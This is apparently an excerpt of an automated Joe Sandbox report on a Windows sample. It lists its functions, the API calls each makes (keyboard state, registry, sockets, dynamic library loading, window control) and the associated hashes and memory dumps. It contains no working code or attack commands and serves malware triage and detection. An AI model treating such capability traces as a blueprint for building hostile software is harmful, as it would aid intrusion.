GetStdHandle.KERNEL32(000000F6), ref: 00D89F50
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00D89F80
GetStdHandle.KERNEL32(000000F6), ref: 00D89F91
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00D89FCB

Strings

nul, xrefs: 00D89FC6

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: cca23d069f0c8f0108388321e7d499697740b60652f3a19d29cf4245f7fdbf4c
Instruction ID: 22e0e78206877370ba30ee08daace90bba06a79762b62833824ec54d375a2624
Opcode Fuzzy Hash: cca23d069f0c8f0108388321e7d499697740b60652f3a19d29cf4245f7fdbf4c
Instruction Fuzzy Hash: 162144715003069BDB24AF699C14EAAF7E8EF95724F280A19FAE1D72D0D770D941CB70

Function 00D8E382 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00D8E392
GetVolumeInformationW.KERNEL32(?,?,00000104,?,00000000,00000000,00000000,00000000), ref: 00D8E3E6
__swprintf.LIBCMT ref: 00D8E3FF
SetErrorMode.KERNEL32(00000000,00000001,00000000,00DDDBF0), ref: 00D8E43D

Strings

%lu, xrefs: 00D8E3F9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 3290e6b0cb8a35ca354a80e34b80e61db97c9eb5ce519c97634756ee25edb39c
Instruction ID: c18468df1c0dac1d83007c341c1725aaf0aa066c1feb7f9a8c5d99ee63bfd1d3
Opcode Fuzzy Hash: 3290e6b0cb8a35ca354a80e34b80e61db97c9eb5ce519c97634756ee25edb39c
Instruction Fuzzy Hash: 7D214F35A40209AFCB10EF64CC85DAEB7B9EF49714B144069F509D7291D731DA05CB70

Function 00D7D7D6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

Part of subcall function 00D7D623: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00D7D640
Part of subcall function 00D7D623: GetWindowThreadProcessId.USER32(?,00000000), ref: 00D7D653
Part of subcall function 00D7D623: GetCurrentThreadId.KERNEL32 ref: 00D7D65A
Part of subcall function 00D7D623: AttachThreadInput.USER32(00000000), ref: 00D7D661

GetFocus.USER32 ref: 00D7D7FB

Part of subcall function 00D7D66C: GetParent.USER32(?), ref: 00D7D67A

GetClassNameW.USER32(?,?,00000100), ref: 00D7D844
EnumChildWindows.USER32(?,00D7D8BA), ref: 00D7D86C
__swprintf.LIBCMT ref: 00D7D886

Strings

%s%d, xrefs: 00D7D880

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: a5e192d2ec54fe802ef6973556808006d0037b226d38d4a908e3916b0f929c16
Instruction ID: a663e9f70a042a4b53711e0839dd5fc2ff6e28da879ec6ab5eacb5d70bf52b88
Opcode Fuzzy Hash: a5e192d2ec54fe802ef6973556808006d0037b226d38d4a908e3916b0f929c16
Instruction Fuzzy Hash: 2C11727154020A6BDB11BFA0DC85FEE377AEF44704F0480B9BE0DAA186EB745945DB71

Function 00DA1836 Relevance: 7.7, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00DA18E4
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00DA1917
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00DA1A3A
CloseHandle.KERNEL32(?), ref: 00DA1AB0

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: e87c9ac9e15d16a17aea1df8e29e8060580d81e59c30a55aad44306a604fc76e
Instruction ID: eed4605c5e03e8cad8d219aaef9e17b8779dbd9e25b97739bfb9abb02882111b
Opcode Fuzzy Hash: e87c9ac9e15d16a17aea1df8e29e8060580d81e59c30a55aad44306a604fc76e
Instruction Fuzzy Hash: 52817F74A40215ABDF109F64C886BADBBE5EF45720F188059FD05AF382DBB4E9458BB0

Function 00DA0579 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 00DA05DF
GetProcAddress.KERNEL32(00000000,?), ref: 00DA066E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00DA068C
GetProcAddress.KERNEL32(00000000,?), ref: 00DA06D2
FreeLibrary.KERNEL32(00000000,00000004), ref: 00DA06EC

Part of subcall function 00D5F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00D8AEA5,?,?,00000000,00000008), ref: 00D5F282
Part of subcall function 00D5F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00D8AEA5,?,?,00000000,00000008), ref: 00D5F2A6

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: e914ad3efd26c56cef62b04b1ac543c5ce34b2849166f55aa1d7be756b1e2e1e
Instruction ID: 33338dd942d293fa2e885776fe517b7010f6c0cb7f53fea88716ad968093613e
Opcode Fuzzy Hash: e914ad3efd26c56cef62b04b1ac543c5ce34b2849166f55aa1d7be756b1e2e1e
Instruction Fuzzy Hash: 7E514B75A00206DFCB00EFA8C894DADBBB5FF49310B188065EA55AB352DB34ED45CBB1

Function 00DA2D1A Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

Part of subcall function 00DA3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DA2AA6,?,?), ref: 00DA3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DA2DE0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00DA2E1F
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00DA2E66
RegCloseKey.ADVAPI32(?,?), ref: 00DA2E92
RegCloseKey.ADVAPI32(00000000), ref: 00DA2E9F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 88a4fa6652c52fce44d559486e2a41bb69d35766b8d5b3db519da8d517e78546
Instruction ID: 2d3cc48707efb333c9e7d676820b87f3d4b61778d8f3e3cf54880fe7e6db7bf4
Opcode Fuzzy Hash: 88a4fa6652c52fce44d559486e2a41bb69d35766b8d5b3db519da8d517e78546
Instruction Fuzzy Hash: B1515A71218205AFD704EF68CC81E6AB7E9FF88714F04481EF596872A1DB31E905DB72

Function 00DACB07 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649e79cd7c619e9c3137b4de178184cfee9bc033ef0708cb66f1e811efa5d075
Instruction ID: ac076d17924f5233ca1bf10281a4e43e1a65f24e58c98ca789bb5f972dbd1d8c
Opcode Fuzzy Hash: 649e79cd7c619e9c3137b4de178184cfee9bc033ef0708cb66f1e811efa5d075
Instruction Fuzzy Hash: D0411335910205AFDB24DF28CC49FA9BBA9EB0A330F185261F959E72D0C7319D40D670

Function 00D91726 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00D917D4
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00D917FD
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00D9183C

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00D91861
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00D91869

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: ec70fb7f067ff3b2d10547b771e7fd85e7c64a42b479e46b4331069692483aa1
Instruction ID: fd5948f41619a96b151572a096c4e0a11656bde36d4a87cd827162ab9c0b07c6
Opcode Fuzzy Hash: ec70fb7f067ff3b2d10547b771e7fd85e7c64a42b479e46b4331069692483aa1
Instruction Fuzzy Hash: E341F935A00206EFDB11EF64C981AADBBF5EF48350B148099E80AAB361DB31ED45DB71

Function 00D5B736 Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(000000FF), ref: 00D5B749
ScreenToClient.USER32(00000000,000000FF), ref: 00D5B766
GetAsyncKeyState.USER32(00000001), ref: 00D5B78B
GetAsyncKeyState.USER32(00000002), ref: 00D5B799

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: a400d0b0096e54cf6f37c6de41e2845879c5adb561e4bf8e0dd0cb0ab9fa6613
Instruction ID: e2c2e750230e9a84964f33f912890b37846fcdd8f513382660a4377faa44ab0b
Opcode Fuzzy Hash: a400d0b0096e54cf6f37c6de41e2845879c5adb561e4bf8e0dd0cb0ab9fa6613
Instruction Fuzzy Hash: 6E414A3150421AFFDF159F64C884AEABBB4FB49331F14422AFC6A96290C730A954DFB0

Function 00D7C145 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00D7C156
PostMessageW.USER32(?,00000201,00000001), ref: 00D7C200
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00D7C208
PostMessageW.USER32(?,00000202,00000000), ref: 00D7C216
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00D7C21E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: a88e3d10293a3800a71dba1b5c5f155c0a9f181e6cf92279c7435bd47d676109
Instruction ID: 8ed261c36e67989fb3f12956cfbcd41cec493214fce8bfc403c885bb77e6770f
Opcode Fuzzy Hash: a88e3d10293a3800a71dba1b5c5f155c0a9f181e6cf92279c7435bd47d676109
Instruction Fuzzy Hash: C631BF7190031AEFDB04CFA8DD4CA9E3BB6EB04315F108228F824EA2D1D7B09904CBA0

Function 00D7E9B5 Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00D7E9CD
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00D7E9EA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00D7EA22
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00D7EA48
_wcsstr.LIBCMT ref: 00D7EA52

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 473d0348a7b2df5fcda0b69595a25d40bdf2f916de057302c5c188e092c1a323
Instruction ID: ec79f755f23ed9549dca3aa7a6cfd4b1d711a402834d9115aa4176aaf4073953
Opcode Fuzzy Hash: 473d0348a7b2df5fcda0b69595a25d40bdf2f916de057302c5c188e092c1a323
Instruction Fuzzy Hash: DE213132204215BBEB159B69DC49E7BBFA9EF4A750F04C07AF80DCA191FA70DD4086B0

Function 00DADC79 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

GetWindowLongW.USER32(?,000000F0), ref: 00DADCC0
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00DADCE4
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00DADCFC
GetSystemMetrics.USER32(00000004), ref: 00DADD24
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,00000000,?,00D9407D,00000000), ref: 00DADD42

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 027e8a52c26878985bf1f5f84d46d3613d47a488986302c9f0daaac260565fc3
Instruction ID: be395a3dbf9c2ff7c9cf2395b5f620a2a3931d19b4e8d1be2fdd1823bcb12eea
Opcode Fuzzy Hash: 027e8a52c26878985bf1f5f84d46d3613d47a488986302c9f0daaac260565fc3
Instruction Fuzzy Hash: 4D219A71604312AFCF245F798C48B6A37A6BB4A365B144B34F927DAAE0D770D850CAB0

Function 00D7CA6D Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00D7CA86

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00D7CAB8
__itow.LIBCMT ref: 00D7CAD0
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00D7CAF6
__itow.LIBCMT ref: 00D7CB07

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: bcc1d41526dd08a3dfa0bccc0737e9bb232901c063605711f066a22f2cd72aca
Instruction ID: ef8507a4b16b143cb4273f269e45696f9e208fd6f1e39d872bd737ffa5f92673
Opcode Fuzzy Hash: bcc1d41526dd08a3dfa0bccc0737e9bb232901c063605711f066a22f2cd72aca
Instruction Fuzzy Hash: C821A4726407087FDB21EAA48C47EDE7A69EF5D710F059029F909E7281E6708D0587B0

Function 00D86D6D Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00D43B1E: _wcsncpy.LIBCMT ref: 00D43B32

GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00D86DBA
GetLastError.KERNEL32 ref: 00D86DC5
CreateDirectoryW.KERNEL32(?,00000000), ref: 00D86DD9
_wcsrchr.LIBCMT ref: 00D86DFB

Part of subcall function 00D86D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 00D86E31

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
String ID:
API String ID: 3633006590-0
Opcode ID: 73dd9551e1d26db23554b780f333aa53cbb65f17f92e69492b19bf64a0924965
Instruction ID: e1a3972acd755fa283ca01b0affc9316c26a31fbd62f0d04d2fb8f24b64b1bc0
Opcode Fuzzy Hash: 73dd9551e1d26db23554b780f333aa53cbb65f17f92e69492b19bf64a0924965
Instruction Fuzzy Hash: 3121AC6560131A9ADB217B74EC4AFEA73A8CF12330F284566F421C3092EF24DE848B74

Function 00D99122 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9ACD3: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00D9ACF5

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00D99160
WSAGetLastError.WSOCK32(00000000), ref: 00D9916F
connect.WSOCK32(00000000,?,00000010), ref: 00D9918B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorLastconnectinet_addrsocket
String ID:
API String ID: 3701255441-0
Opcode ID: 6bd616785bab4b1e4a318a5e07360997cb731465c574d446f6bdeb6aca55d915
Instruction ID: a1bd61b1d2bd24bfa444e813e3962a00e922b6c72df5fa09c810e1162b13536c
Opcode Fuzzy Hash: 6bd616785bab4b1e4a318a5e07360997cb731465c574d446f6bdeb6aca55d915
Instruction Fuzzy Hash: 102151316003129FDB00AF68CC99F6EB7AAEF49764F084519F956EB3D1DA70E8058771

Function 00D989AD Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00D989CE
GetForegroundWindow.USER32 ref: 00D989E5
GetDC.USER32(00000000), ref: 00D98A21
GetPixel.GDI32(00000000,?,00000003), ref: 00D98A2D
ReleaseDC.USER32(00000000,00000003), ref: 00D98A68

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: be3041e38da0e25be5eba7fe2e2ccbb26ba5212e15c146f67fa0a4f7b089b93d
Instruction ID: 6ac2075ce97d05c574d0a043f8fc781b7a9f056c9c63df4184f7ea0ebff6d542
Opcode Fuzzy Hash: be3041e38da0e25be5eba7fe2e2ccbb26ba5212e15c146f67fa0a4f7b089b93d
Instruction Fuzzy Hash: DC218E75A00205AFDB00EF65CC89EAABBF5EF49715B048479E94AD7352DB70AD00CBB0

Function 00D5B58B Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00D5B5EB
SelectObject.GDI32(?,00000000), ref: 00D5B5FA
BeginPath.GDI32(?), ref: 00D5B611
SelectObject.GDI32(?,00000000), ref: 00D5B63B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
